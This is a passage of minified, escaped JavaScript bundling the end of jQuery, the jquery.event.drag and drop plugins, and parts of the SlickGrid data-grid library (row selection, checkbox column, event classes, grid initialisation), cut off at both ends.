o,r,i,l,s,a,c=E.css(e,\\\"position\\\"),u=E(e),d={};\\\"static\\\"===c&&(e.style.position=\\\"relative\\\"),s=u.offset(),i=E.css(e,\\\"top\\\"),a=E.css(e,\\\"left\\\"),(\\\"absolute\\\"===c||\\\"fixed\\\"===c)&&-1<(i+a).indexOf(\\\"auto\\\")?(o=u.position(),l=o.top,r=o.left):(l=parseFloat(i)||0,r=parseFloat(a)||0),E.isFunction(t)&&(t=t.call(e,n,E.extend({},s))),null!=t.top&&(d.top=t.top-s.top+l),null!=t.left&&(d.left=t.left-s.left+r),\\\"using\\\"in t?t.using.call(e,d):u.css(d)}},E.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){E.offset.setOffset(this,t,e)});var e,n,o,r,i=this[0];return i?i.getClientRects().length?(o=i.getBoundingClientRect(),e=i.ownerDocument,n=e.documentElement,r=e.defaultView,{top:o.top+r.pageYOffset-n.clientTop,left:o.left+r.pageXOffset-n.clientLeft}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n=this[0],o={top:0,left:0};return\\\"fixed\\\"===E.css(n,\\\"position\\\")?t=n.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),k(e[0],\\\"html\\\")||(o=e.offset()),o={top:o.top+E.css(e[0],\\\"borderTopWidth\\\",!0),left:o.left+E.css(e[0],\\\"borderLeftWidth\\\",!0)}),{top:t.top-o.top-E.css(n,\\\"marginTop\\\",!0),left:t.left-o.left-E.css(n,\\\"marginLeft\\\",!0)}}},offsetParent:function(){return this.map(function(){for(var e=this.offsetParent;e&&\\\"static\\\"===E.css(e,\\\"position\\\");)e=e.offsetParent;return e||ve})}}),E.each({scrollLeft:\\\"pageXOffset\\\",scrollTop:\\\"pageYOffset\\\"},function(t,r){var i=\\\"pageYOffset\\\"===r;E.fn[t]=function(e){return q(this,function(e,t,n){var o;if(E.isWindow(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===n)return o?o[r]:e[t];o?o.scrollTo(i?o.pageXOffset:n,i?n:o.pageYOffset):e[t]=n},t,e,arguments.length)}}),E.each([\\\"top\\\",\\\"left\\\"],function(e,n){E.cssHooks[n]=Ve(m.pixelPosition,function(e,t){if(t)return t=je(e,n),Me.test(t)?E(e).position()[n]+\\\"px\\\":t})}),E.each({Height:\\\"height\\\",Width:\\\"width\\\"},function(l,s){E.each({padding:\\\"inner\\\"+l,content:s,\\\"\\\":\\\"outer\\\"+l},function(o,i){E.fn[i]=function(e,t){var n=arguments.length&&(o||\\\"boolean\\\"!=typeof e),r=o||(!0===e||!0===t?\\\"margin\\\":\\\"border\\\");return q(this,function(e,t,n){var o;return E.isWindow(e)?0===i.indexOf(\\\"outer\\\")?e[\\\"inner\\\"+l]:e.document.documentElement[\\\"client\\\"+l]:9===e.nodeType?(o=e.documentElement,Math.max(e.body[\\\"scroll\\\"+l],o[\\\"scroll\\\"+l],e.body[\\\"offset\\\"+l],o[\\\"offset\\\"+l],o[\\\"client\\\"+l])):void 0===n?E.css(e,t,r):E.style(e,t,n,r)},s,n?e:void 0,n)}})}),E.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,o){return this.on(t,e,n,o)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\\\"**\\\"):this.off(t,e||\\\"**\\\",n)}}),E.holdReady=function(e){e?E.readyWait++:E.ready(!0)},E.isArray=Array.isArray,E.parseJSON=JSON.parse,E.nodeName=k,\\\"function\\\"==typeof define&&define.amd&&define(\\\"jquery\\\",[],function(){return E});var zt=R.jQuery,Xt=R.$;return E.noConflict=function(e){return R.$===E&&(R.$=Xt),e&&R.jQuery===E&&(R.jQuery=zt),E},e||(R.jQuery=R.$=E),E})},442:function(e,t,n){\\n      /*!\\n           * jquery.event.drag - v 2.3.0\\n           * Copyright (c) 2010 Three Dub Media - http://threedubmedia.com\\n           * Open Source MIT License - http://threedubmedia.com/code/license\\n           */\\n      var f=e(448);f.fn.drag=function(e,t,n){var o=\\\"string\\\"==typeof e?e:\\\"\\\",r=f.isFunction(e)?e:f.isFunction(t)?t:null;return 0!==o.indexOf(\\\"drag\\\")&&(o=\\\"drag\\\"+o),n=(e==r?t:n)||{},r?this.on(o,n,r):this.trigger(o)};var h=f.event,o=h.special,g=o.drag={defaults:{which:1,distance:0,not:\\\":input\\\",handle:null,relative:!1,drop:!0,click:!1},datakey:\\\"dragdata\\\",noBubble:!0,add:function(e){var n=f.data(this,g.datakey),o=e.data||{};n.related+=1,f.each(g.defaults,function(e,t){void 0!==o[e]&&(n[e]=o[e])})},remove:function(){f.data(this,g.datakey).related-=1},setup:function(){if(!f.data(this,g.datakey)){var e=f.extend({related:0},g.defaults);f.data(this,g.datakey,e),h.add(this,\\\"touchstart mousedown\\\",g.init,e),this.attachEvent&&this.attachEvent(\\\"ondragstart\\\",g.dontstart)}},teardown:function(){var e=f.data(this,g.datakey)||{};e.related||(f.removeData(this,g.datakey),h.remove(this,\\\"touchstart mousedown\\\",g.init),g.textselect(!0),this.detachEvent&&this.detachEvent(\\\"ondragstart\\\",g.dontstart))},init:function(e){if(!g.touched){var t,n=e.data;if(!(0!=e.which&&0<n.which&&e.which!=n.which)&&!f(e.target).is(n.not)&&(!n.handle||f(e.target).closest(n.handle,e.currentTarget).length)&&(g.touched=\\\"touchstart\\\"==e.type?this:null,n.propagates=1,n.mousedown=this,n.interactions=[g.interaction(this,n)],n.target=e.target,n.pageX=e.pageX,n.pageY=e.pageY,n.dragging=null,t=g.hijack(e,\\\"draginit\\\",n),n.propagates))return(t=g.flatten(t))&&t.length&&(n.interactions=[],f.each(t,function(){n.interactions.push(g.interaction(this,n))})),n.propagates=n.interactions.length,!1!==n.drop&&o.drop&&o.drop.handler(e,n),g.textselect(!1),g.touched?h.add(g.touched,\\\"touchmove touchend\\\",g.handler,n):h.add(document,\\\"mousemove mouseup\\\",g.handler,n),!(!g.touched||n.live)&&void 0}},interaction:function(e,t){var n=e&&e.ownerDocument&&f(e)[t.relative?\\\"position\\\":\\\"offset\\\"]()||{top:0,left:0};return{drag:e,callback:new g.callback,droppable:[],offset:n}},handler:function(e){var t=e.data;switch(e.type){case!t.dragging&&\\\"touchmove\\\":e.preventDefault();case!t.dragging&&\\\"mousemove\\\":if(Math.pow(e.pageX-t.pageX,2)+Math.pow(e.pageY-t.pageY,2)<Math.pow(t.distance,2))break;e.target=t.target,g.hijack(e,\\\"dragstart\\\",t),t.propagates&&(t.dragging=!0);case\\\"touchmove\\\":e.preventDefault();case\\\"mousemove\\\":if(t.dragging){if(g.hijack(e,\\\"drag\\\",t),t.propagates){!1!==t.drop&&o.drop&&o.drop.handler(e,t);break}e.type=\\\"mouseup\\\"}case\\\"touchend\\\":case\\\"mouseup\\\":default:g.touched?h.remove(g.touched,\\\"touchmove touchend\\\",g.handler):h.remove(document,\\\"mousemove mouseup\\\",g.handler),t.dragging&&(!1!==t.drop&&o.drop&&o.drop.handler(e,t),g.hijack(e,\\\"dragend\\\",t)),g.textselect(!0),!1===t.click&&t.dragging&&f.data(t.mousedown,\\\"suppress.click\\\",(new Date).getTime()+5),t.dragging=g.touched=!1}},hijack:function(n,o,r,e,t){if(r){var i,l,s,a={event:n.originalEvent,type:n.type},c=o.indexOf(\\\"drop\\\")?\\\"drag\\\":\\\"drop\\\",u=e||0,d=isNaN(e)?r.interactions.length:e;n.type=o;var p=function(){};n.originalEvent=new f.Event(a.event,{preventDefault:p,stopPropagation:p,stopImmediatePropagation:p}),r.results=[];do{if(l=r.interactions[u]){if(\\\"dragend\\\"!==o&&l.cancelled)continue;s=g.properties(n,r,l),l.results=[],f(t||l[c]||r.droppable).each(function(e,t){if(s.target=t,!(n.isPropagationStopped=function(){return!1})===(i=t?h.dispatch.call(t,n,s):null)?(\\\"drag\\\"==c&&(l.cancelled=!0,r.propagates-=1),\\\"drop\\\"==o&&(l[c][e]=null)):\\\"dropinit\\\"==o&&l.droppable.push(g.element(i)||t),\\\"dragstart\\\"==o&&(l.proxy=f(g.element(i)||l.drag)[0]),l.results.push(i),delete n.result,\\\"dropinit\\\"!==o)return i}),r.results[u]=g.flatten(l.results),\\\"dropinit\\\"==o&&(l.droppable=g.flatten(l.droppable)),\\\"dragstart\\\"!=o||l.cancelled||s.update()}}while(++u<d);return n.type=a.type,n.originalEvent=a.event,g.flatten(r.results)}},properties:function(e,t,n){var o=n.callback;return o.drag=n.drag,o.proxy=n.proxy||n.drag,o.startX=t.pageX,o.startY=t.pageY,o.deltaX=e.pageX-t.pageX,o.deltaY=e.pageY-t.pageY,o.originalX=n.offset.left,o.originalY=n.offset.top,o.offsetX=o.originalX+o.deltaX,o.offsetY=o.originalY+o.deltaY,o.drop=g.flatten((n.drop||[]).slice()),o.available=g.flatten((n.droppable||[]).slice()),o},element:function(e){if(e&&(e.jquery||1==e.nodeType))return e},flatten:function(e){return f.map(e,function(e){return e&&e.jquery?f.makeArray(e):e&&e.length?g.flatten(e):e})},textselect:function(e){f(document)[e?\\\"off\\\":\\\"on\\\"](\\\"selectstart\\\",g.dontstart).css(\\\"MozUserSelect\\\",e?\\\"\\\":\\\"none\\\"),document.unselectable=e?\\\"off\\\":\\\"on\\\"},dontstart:function(){return!1},callback:function(){}};g.callback.prototype={update:function(){o.drop&&this.available.length&&f.each(this.available,function(e){o.drop.locate(this,e)})}};var r=h.dispatch;h.dispatch=function(e){if(!(0<f.data(this,\\\"suppress.\\\"+e.type)-(new Date).getTime()))return r.apply(this,arguments);f.removeData(this,\\\"suppress.\\\"+e.type)},o.draginit=o.dragstart=o.dragend=g},443:function(e,t,n){\\n      /*!\\n           * jquery.event.drop - v 2.3.0\\n           * Copyright (c) 2010 Three Dub Media - http://threedubmedia.com\\n           * Open Source MIT License - http://threedubmedia.com/code/license\\n           */\\n      var f=e(448);f.fn.drop=function(e,t,n){var o=\\\"string\\\"==typeof e?e:\\\"\\\",r=f.isFunction(e)?e:f.isFunction(t)?t:null;return 0!==o.indexOf(\\\"drop\\\")&&(o=\\\"drop\\\"+o),n=(e==r?t:n)||{},r?this.on(o,n,r):this.trigger(o)},f.drop=function(e){e=e||{},g.multi=!0===e.multi?1/0:!1===e.multi?1:isNaN(e.multi)?g.multi:e.multi,g.delay=e.delay||g.delay,g.tolerance=f.isFunction(e.tolerance)?e.tolerance:null===e.tolerance?null:g.tolerance,g.mode=e.mode||g.mode||\\\"intersect\\\"};var o=f.event,h=o.special,g=f.event.special.drop={multi:1,delay:20,mode:\\\"overlap\\\",targets:[],datakey:\\\"dropdata\\\",noBubble:!0,add:function(e){var t=f.data(this,g.datakey);t.related+=1},remove:function(){f.data(this,g.datakey).related-=1},setup:function(){if(!f.data(this,g.datakey)){f.data(this,g.datakey,{related:0,active:[],anyactive:0,winner:0,location:{}}),g.targets.push(this)}},teardown:function(){var e=f.data(this,g.datakey)||{};if(!e.related){f.removeData(this,g.datakey);var t=this;g.targets=f.grep(g.targets,function(e){return e!==t})}},handler:function(e,t){var n;if(t)switch(e.type){case\\\"mousedown\\\":case\\\"touchstart\\\":n=f(g.targets),\\\"string\\\"==typeof t.drop&&(n=n.filter(t.drop)),n.each(function(){var e=f.data(this,g.datakey);e.active=[],e.anyactive=0,e.winner=0}),t.droppable=n,h.drag.hijack(e,\\\"dropinit\\\",t);break;case\\\"mousemove\\\":case\\\"touchmove\\\":g.event=e,g.timer||g.tolerate(t);break;case\\\"mouseup\\\":case\\\"touchend\\\":g.timer=clearTimeout(g.timer),t.propagates&&(h.drag.hijack(e,\\\"drop\\\",t),h.drag.hijack(e,\\\"dropend\\\",t))}},locate:function(e,t){var n=f.data(e,g.datakey),o=f(e),r=o.offset()||{},i=o.outerHeight(),l=o.outerWidth(),s={elem:e,width:l,height:i,top:r.top,left:r.left,right:r.left+l,bottom:r.top+i};return n&&(n.location=s,n.index=t,n.elem=e),s},contains:function(e,t){return(t[0]||t.left)>=e.left&&(t[0]||t.right)<=e.right&&(t[1]||t.top)>=e.top&&(t[1]||t.bottom)<=e.bottom},modes:{intersect:function(e,t,n){return this.contains(n,[e.pageX,e.pageY])?1e9:this.modes.overlap.apply(this,arguments)},overlap:function(e,t,n){return Math.max(0,Math.min(n.bottom,t.bottom)-Math.max(n.top,t.top))*Math.max(0,Math.min(n.right,t.right)-Math.max(n.left,t.left))},fit:function(e,t,n){return this.contains(n,t)?1:0},middle:function(e,t,n){return this.contains(n,[t.left+.5*t.width,t.top+.5*t.height])?1:0}},sort:function(e,t){return t.winner-e.winner||e.index-t.index},tolerate:function(e){var t,n,o,r,i,l,s,a,c=0,u=e.interactions.length,d=[g.event.pageX,g.event.pageY],p=g.tolerance||g.modes[g.mode];do{if(a=e.interactions[c]){if(!a)return;a.drop=[],i=[],l=a.droppable.length,p&&(o=g.locate(a.proxy)),t=0;do{if(s=a.droppable[t]){if(r=f.data(s,g.datakey),!(n=r.location))continue;r.winner=p?p.call(g,g.event,o,n):g.contains(n,d)?1:0,i.push(r)}}while(++t<l);for(i.sort(g.sort),t=0;(r=i[t])&&(r.winner&&a.drop.length<g.multi?(r.active[c]||r.anyactive||(!1!==h.drag.hijack(g.event,\\\"dropstart\\\",e,c,r.elem)[0]?(r.active[c]=1,r.anyactive+=1):r.winner=0),r.winner&&a.drop.push(r.elem)):r.active[c]&&1==r.anyactive&&(h.drag.hijack(g.event,\\\"dropend\\\",e,c,r.elem),r.active[c]=0,r.anyactive-=1)),++t<l;);}}while(++c<u);g.last&&d[0]==g.last.pageX&&d[1]==g.last.pageY?delete g.timer:g.timer=setTimeout(function(){g.tolerate(e)},g.delay),g.last=g.event}};h.dropinit=h.dropstart=h.dropend=g},444:function(e,t,n){var d=e(448),p=e(446);t.exports={CheckboxSelectColumn:function(e){var l,t=new p.EventHandler,s={},a=d.extend(!0,{},{columnId:\\\"_checkbox_selector\\\",cssClass:null,toolTip:\\\"Select/Deselect All\\\",width:30},e);function n(e,t){var n,o,r=l.getSelectedRows(),i={};for(o=0;o<r.length;o++)n=r[o],i[n]=!0,i[n]!==s[n]&&(l.invalidateRow(n),delete s[n]);for(o in s)l.invalidateRow(o);s=i,l.render(),r.length&&r.length==l.getDataLength()?l.updateColumnHeader(a.columnId,\\\"<input type='checkbox' checked='checked'>\\\",a.toolTip):l.updateColumnHeader(a.columnId,\\\"<input type='checkbox'>\\\",a.toolTip)}function o(e,t){32==e.which&&l.getColumns()[t.cell].id===a.columnId&&(l.getEditorLock().isActive()&&!l.getEditorLock().commitCurrentEdit()||i(t.row),e.preventDefault(),e.stopImmediatePropagation())}function r(e,t){if(l.getColumns()[t.cell].id===a.columnId&&d(e.target).is(\\\":checkbox\\\")){if(l.getEditorLock().isActive()&&!l.getEditorLock().commitCurrentEdit())return e.preventDefault(),void e.stopImmediatePropagation();i(t.row),e.stopPropagation(),e.stopImmediatePropagation()}}function i(t){s[t]?l.setSelectedRows(d.grep(l.getSelectedRows(),function(e){return e!=t})):l.setSelectedRows(l.getSelectedRows().concat(t))}function c(e,t){if(t.column.id==a.columnId&&d(e.target).is(\\\":checkbox\\\")){if(l.getEditorLock().isActive()&&!l.getEditorLock().commitCurrentEdit())return e.preventDefault(),void e.stopImmediatePropagation();if(d(e.target).is(\\\":checked\\\")){for(var n=[],o=0;o<l.getDataLength();o++)n.push(o);l.setSelectedRows(n)}else l.setSelectedRows([]);e.stopPropagation(),e.stopImmediatePropagation()}}function u(e,t,n,o,r){return r?s[e]?\\\"<input type='checkbox' checked='checked'>\\\":\\\"<input type='checkbox'>\\\":null}d.extend(this,{init:function(e){l=e,t.subscribe(l.onSelectedRowsChanged,n).subscribe(l.onClick,r).subscribe(l.onHeaderClick,c).subscribe(l.onKeyDown,o)},destroy:function(){t.unsubscribeAll()},deSelectRows:function(e){var t,n=e.length,o=[];for(t=0;t<n;t++)s[e[t]]&&(o[o.length]=e[t]);l.setSelectedRows(d.grep(l.getSelectedRows(),function(e){return o.indexOf(e)<0}))},selectRows:function(e){var t,n=e.length,o=[];for(t=0;t<n;t++)s[e[t]]||(o[o.length]=e[t]);l.setSelectedRows(l.getSelectedRows().concat(o))},getColumnDefinition:function(){return{id:a.columnId,name:\\\"<input type='checkbox'>\\\",toolTip:a.toolTip,field:\\\"sel\\\",width:a.width,resizable:!1,sortable:!1,cssClass:a.cssClass,formatter:u}}})}}},445:function(e,t,n){var v=e(448),w=e(446);t.exports={RowSelectionModel:function(t){var c,n,o,u=[],r=this,i=new w.EventHandler,l={selectActiveRow:!0};function s(e){return function(){n||(n=!0,e.apply(this,arguments),n=!1)}}function d(e){for(var t=[],n=0;n<e.length;n++)for(var o=e[n].fromRow;o<=e[n].toRow;o++)t.push(o);return t}function p(e){for(var t=[],n=c.getColumns().length-1,o=0;o<e.length;o++)t.push(new w.Range(e[o],0,e[o],n));return t}function a(){return d(u)}function f(e){(u&&0!==u.length||e&&0!==e.length)&&(u=e,r.onSelectedRangesChanged.notify(u))}function h(e,t){o.selectActiveRow&&null!=t.row&&f([new w.Range(t.row,0,t.row,c.getColumns().length-1)])}function g(e){var t=c.getActiveCell();if(t&&e.shiftKey&&!e.ctrlKey&&!e.altKey&&!e.metaKey&&(38==e.which||40==e.which)){var n=a();n.sort(function(e,t){return e-t}),n.length||(n=[t.row]);var o,r=n[0],i=n[n.length-1];if(0<=(o=40==e.which?t.row<i||r==i?++i:++r:t.row<i?--i:--r)&&o<c.getDataLength()){c.scrollRowIntoView(o);var l=p(function(e,t){var n,o=[];for(n=e;n<=t;n++)o.push(n);for(n=t;n<e;n++)o.push(n);return o}(r,i));f(l)}e.preventDefault(),e.stopPropagation()}}function m(e){var n=c.getCellFromEvent(e);if(!n||!c.canCellBeActive(n.row,n.cell))return!1;if(!c.getOptions().multiSelect||!e.ctrlKey&&!e.shiftKey&&!e.metaKey)return!1;var t=d(u),o=v.inArray(n.row,t);if(-1===o&&(e.ctrlKey||e.metaKey))t.push(n.row),c.setActiveCell(n.row,n.cell);else if(-1!==o&&(e.ctrlKey||e.metaKey))t=v.grep(t,function(e,t){return e!==n.row}),c.setActiveCell(n.row,n.cell);else if(t.length&&e.shiftKey){var r=t.pop(),i=Math.min(n.row,r),l=Math.max(n.row,r);t=[];for(var s=i;s<=l;s++)s!==r&&t.push(s);t.push(r),c.setActiveCell(n.row,n.cell)}var a=p(t);return f(a),e.stopImmediatePropagation(),!0}v.extend(this,{getSelectedRows:a,setSelectedRows:function(e){f(p(e))},getSelectedRanges:function(){return u},setSelectedRanges:f,init:function(e){o=v.extend(!0,{},l,t),c=e,i.subscribe(c.onActiveCellChanged,s(h)),i.subscribe(c.onKeyDown,s(g)),i.subscribe(c.onClick,s(m))},destroy:function(){i.unsubscribeAll()},onSelectedRangesChanged:new w.Event})}}},446:function(e,t,n){function l(){var e=!1,t=!1;this.stopPropagation=function(){e=!0},this.isPropagationStopped=function(){return e},this.stopImmediatePropagation=function(){t=!0},this.isImmediatePropagationStopped=function(){return t}}function o(){this.__nonDataRow=!0}function r(){this.__group=!0,this.level=0,this.count=0,this.value=null,this.title=null,this.collapsed=!1,this.selectChecked=!1,this.totals=null,this.rows=[],this.groups=null,this.groupingKey=null}function i(){this.__groupTotals=!0,this.group=null,this.initialized=!1}function s(){var t=null;this.isActive=function(e){return e?t===e:null!==t},this.activate=function(e){if(e!==t){if(null!==t)throw new Error(\\\"SlickGrid.EditorLock.activate: an editController is still active, can't activate another editController\\\");if(!e.commitCurrentEdit)throw new Error(\\\"SlickGrid.EditorLock.activate: editController must implement .commitCurrentEdit()\\\");if(!e.cancelCurrentEdit)throw new Error(\\\"SlickGrid.EditorLock.activate: editController must implement .cancelCurrentEdit()\\\");t=e}},this.deactivate=function(e){if(t!==e)throw new Error(\\\"SlickGrid.EditorLock.deactivate: specified editController is not the currently active one\\\");t=null},this.commitCurrentEdit=function(){return!t||t.commitCurrentEdit()},this.cancelCurrentEdit=function(){return!t||t.cancelCurrentEdit()}}(r.prototype=new o).equals=function(e){return this.value===e.value&&this.count===e.count&&this.collapsed===e.collapsed&&this.title===e.title},i.prototype=new o,t.exports={Event:function(){var i=[];this.subscribe=function(e){i.push(e)},this.unsubscribe=function(e){for(var t=i.length-1;0<=t;t--)i[t]===e&&i.splice(t,1)},this.notify=function(e,t,n){var o;t=t||new l,n=n||this;for(var r=0;r<i.length&&!t.isPropagationStopped()&&!t.isImmediatePropagationStopped();r++)o=i[r].call(n,t,e);return o}},EventData:l,EventHandler:function(){var o=[];this.subscribe=function(e,t){return o.push({event:e,handler:t}),e.subscribe(t),this},this.unsubscribe=function(e,t){for(var n=o.length;n--;)if(o[n].event===e&&o[n].handler===t)return o.splice(n,1),void e.unsubscribe(t);return this},this.unsubscribeAll=function(){for(var e=o.length;e--;)o[e].event.unsubscribe(o[e].handler);return o=[],this}},Range:function(e,t,n,o){void 0===n&&void 0===o&&(n=e,o=t);this.fromRow=Math.min(e,n),this.fromCell=Math.min(t,o),this.toRow=Math.max(e,n),this.toCell=Math.max(t,o),this.isSingleRow=function(){return this.fromRow==this.toRow},this.isSingleCell=function(){return this.fromRow==this.toRow&&this.fromCell==this.toCell},this.contains=function(e,t){return e>=this.fromRow&&e<=this.toRow&&t>=this.fromCell&&t<=this.toCell},this.toString=function(){return this.isSingleCell()?\\\"(\\\"+this.fromRow+\\\":\\\"+this.fromCell+\\\")\\\":\\\"(\\\"+this.fromRow+\\\":\\\"+this.fromCell+\\\" - \\\"+this.toRow+\\\":\\\"+this.toCell+\\\")\\\"}},NonDataRow:o,Group:r,GroupTotals:i,EditorLock:s,GlobalEditorLock:new s,keyCode:{BACKSPACE:8,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,ESC:27,HOME:36,INSERT:45,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,RIGHT:39,TAB:9,UP:38,C:67,V:86},preClickClassName:\\\"slick-edit-preclick\\\"}},447:function _(require,module,exports){\\n      /**\\n           * @license\\n           * (c) 2009-2016 Michael Leibman\\n           * michael{dot}leibman{at}gmail{dot}com\\n           * http://github.com/mleibman/slickgrid\\n           *\\n           * Distributed under MIT license.\\n           * All rights reserved.\\n           *\\n           * SlickGrid v2.3\\n           *\\n           * NOTES:\\n           *     Cell/row DOM manipulations are done directly bypassing jQuery's DOM manipulation methods.\\n           *     This increases the speed dramatically, but can only be done safely because there are no event handlers\\n           *     or data associated with any cell/row DOM nodes.  Cell editors must make sure they implement .destroy()\\n           *     and do proper cleanup.\\n           */\\n      var $=require(448),Slick=require(446),scrollbarDimensions,maxSupportedCssHeight;function SlickGrid(container,data,columns,options){$.fn.drag||require(442),$.fn.drop||require(443);var defaults={explicitInitialization:!1,rowHeight:25,defaultColumnWidth:80,enableAddRow:!1,leaveSpaceForNewRows:!1,editable:!1,autoEdit:!0,enableCellNavigation:!0,enableColumnReorder:!0,asyncEditorLoading:!1,asyncEditorLoadDelay:100,forceFitColumns:!1,enableAsyncPostRender:!1,asyncPostRenderDelay:50,enableAsyncPostRenderCleanup:!1,asyncPostRenderCleanupDelay:40,autoHeight:!1,editorLock:Slick.GlobalEditorLock,showHeaderRow:!1,headerRowHeight:25,createFooterRow:!1,showFooterRow:!1,footerRowHeight:25,createPreHeaderPanel:!1,showPreHeaderPanel:!1,preHeaderPanelHeight:25,showTopPanel:!1,topPanelHeight:25,formatterFactory:null,editorFactory:null,cellFlashingCssClass:\\\"flashing\\\",selectedCellCssClass:\\\"selected\\\",multiSelect:!0,enableTextSelectionOnCells:!1,dataItemColumnValueExtractor:null,fullWidthRows:!1,multiColumnSort:!1,numberedMultiColumnSort:!1,tristateMultiColumnSort:!1,defaultFormatter:defaultFormatter,forceSyncScrolling:!1,addNewRowCssClass:\\\"new-row\\\",preserveCopiedSelectionOnPaste:!1,showCellSelection:!0},columnDefaults={name:\\\"\\\",resizable:!0,sortable:!1,minWidth:30,rerenderOnResize:!1,headerCssClass:null,defaultSortAsc:!0,focusable:!0,selectable:!0},th,h,ph,n,cj,page=0,offset=0,vScrollDir=1,initialized=!1,$container,uid=\\\"slickgrid_\\\"+Math.round(1e6*Math.random()),self=this,$focusSink,$focusSink2,$headerScroller,$headers,$headerRow,$headerRowScroller,$headerRowSpacer,$footerRow,$footerRowScroller,$footerRowSpacer,$preHeaderPanel,$preHeaderPanelScroller,$preHeaderPanelSpacer,$topPanelScroller,$topPanel,$viewport,$canvas,$style,$boundAncestors,stylesheet,columnCssRulesL,columnCssRulesR,viewportH,viewportW,canvasWidth,viewportHasHScroll,viewportHasVScroll,headerColumnWidthDiff=0,headerColumnHeightDiff=0,cellWidthDiff=0,cellHeightDiff=0,jQueryNewWidthBehaviour=!1,absoluteColumnMinWidth,sortIndicatorCssClass=\\\"slick-sort-indicator\\\",tabbingDirection=1,activePosX,activeRow,activeCell,activeCellNode=null,currentEditor=null,serializedEditorValue,editController,rowsCache={},renderedRows=0,numVisibleRows,prevScrollTop=0,scrollTop=0,lastRenderedScrollTop=0,lastRenderedScrollLeft=0,prevScrollLeft=0,scrollLeft=0,selectionModel,selectedRows=[],plugins=[],cellCssClasses={},columnsById={},sortColumns=[],columnPosLeft=[],columnPosRight=[],pagingActive=!1,pagingIsLastPage=!1,h_editorLoader=null,h_render=null,h_postrender=null,h_postrenderCleanup=null,postProcessedRows={},postProcessToRow=null,postProcessFromRow=null,postProcessedCleanupQueue=[],postProcessgroupId=0,counter_rows_rendered=0,counter_rows_removed=0,rowNodeFromLastMouseWheelEvent,zombieRowNodeFromLastMouseWheelEvent,zombieRowCacheFromLastMouseWheelEvent,zombieRowPostProcessedFromLastMouseWheelEvent,cssShow={position:\\\"absolute\\\",visibility:\\\"hidden\\\",display:\\\"block\\\"},$hiddenParents,oldProps=[];function init(){if(($container=container instanceof $?container:$(container)).length<1)throw new Error(\\\"SlickGrid requires a valid container, \\\"+container+\\\" does not exist in the DOM.\\\");cacheCssForHiddenInit(),maxSupportedCssHeight=maxSupportedCssHeight||getMaxSupportedCssHeight(),scrollbarDimensions=scrollbarDimensions||measureScrollbar(),options=$.extend({},defaults,options),validateAndEnforceOptions(),columnDefaults.width=options.defaultColumnWidth,columnsById={};for(var e=0;e<columns.length;e++){var t=columns[e]=$.extend({},columnDefaults,columns[e]);columnsById[t.id]=e,t.minWidth&&t.width<t.minWidth&&(t.width=t.minWidth),t.maxWidth&&t.width>t.maxWidth&&(t.width=t.maxWidth)}if(options.enableColumnReorder&&!$.fn.sortable)throw new Error(\\\"SlickGrid's 'enableColumnReorder = true' option requires jquery-ui.sortable module to be loaded\\\");editController={commitCurrentEdit:commitCurrentEdit,cancelCurrentEdit:cancelCurrentEdit},$container.empty().css(\\\"overflow\\\",\\\"hidden\\\").css(\\\"outline\\\",0).addClass(uid).addClass(\\\"ui-widget\\\"),/relative|absolute|fixed/.test($container.css(\\\"position\\\"))||$container.css(\\\"position\\\",\\\"relative\\\"),$focusSink=$(\\\"<div tabIndex='0' hideFocus style='position:fixed;width:0;height:0;top:0;left:0;outline:0;'></div>\\\").appendTo($container),options.createPreHeaderPanel&&($preHeaderPanelScroller=$(\\\"<div class='slick-preheader-panel ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),$preHeaderPanel=$(\\\"<div />\\\").appendTo($preHeaderPanelScroller),$preHeaderPanelSpacer=$(\\\"<div style='display:block;height:1px;position:absolute;top:0;left:0;'></div>\\\").css(\\\"width\\\",getCanvasWidth()+scrollbarDimensions.width+\\\"px\\\").appendTo($preHeaderPanelScroller),options.showPreHeaderPanel||$preHeaderPanelScroller.hide()),$headerScroller=$(\\\"<div class='slick-header ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),($headers=$(\\\"<div class='slick-header-columns' style='left:-1000px' />\\\").appendTo($headerScroller)).width(getHeadersWidth()),$headerRowScroller=$(\\\"<div class='slick-headerrow ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),$headerRow=$(\\\"<div class='slick-headerrow-columns' />\\\").appendTo($headerRowScroller),$headerRowSpacer=$(\\\"<div style='display:block;height:1px;position:absolute;top:0;left:0;'></div>\\\").css(\\\"width\\\",getCanvasWidth()+scrollbarDimensions.width+\\\"px\\\").appendTo($headerRowScroller),$topPanelScroller=$(\\\"<div class='slick-top-panel-scroller ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),$topPanel=$(\\\"<div class='slick-top-panel' style='width:10000px' />\\\").appendTo($topPanelScroller),options.showTopPanel||$topPanelScroller.hide(),options.showHeaderRow||$headerRowScroller.hide(),($viewport=$(\\\"<div class='slick-viewport' style='width:100%;overflow:auto;outline:0;position:relative;;'>\\\").appendTo($container)).css(\\\"overflow-y\\\",options.autoHeight?\\\"hidden\\\":\\\"auto\\\"),$canvas=$(\\\"<div class='grid-canvas' />\\\").appendTo($viewport),options.createFooterRow&&($footerRowScroller=$(\\\"<div class='slick-footerrow ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),$footerRow=$(\\\"<div class='slick-footerrow-columns' />\\\").appendTo($footerRowScroller),$footerRowSpacer=$(\\\"<div style='display:block;height:1px;position:absolute;top:0;left:0;'></div>\\\").css(\\\"width\\\",getCanvasWidth()+scrollbarDimensions.width+\\\"px\\\").appendTo($footerRowScroller),options.showFooterRow||$footerRowScroller.hide()),options.numberedMultiColumnSort&&(sortIndicatorCssClass=\\\"slick-sort-indicator-numbered\\\"),$focusSink2=$focusSink.clone().appendTo($container),options.explicitInitialization||finishInitialization()}function finishInitialization(){initialized||(initialized=!0,viewportW=parseFloat($.css($container[0],\\\"width\\\",!0)),measureCellPaddingAndBorder(),disableSelection($headers),options.enableTextSelectionOnCells||$viewport.on(\\\"selectstart.ui\\\",function(e){return 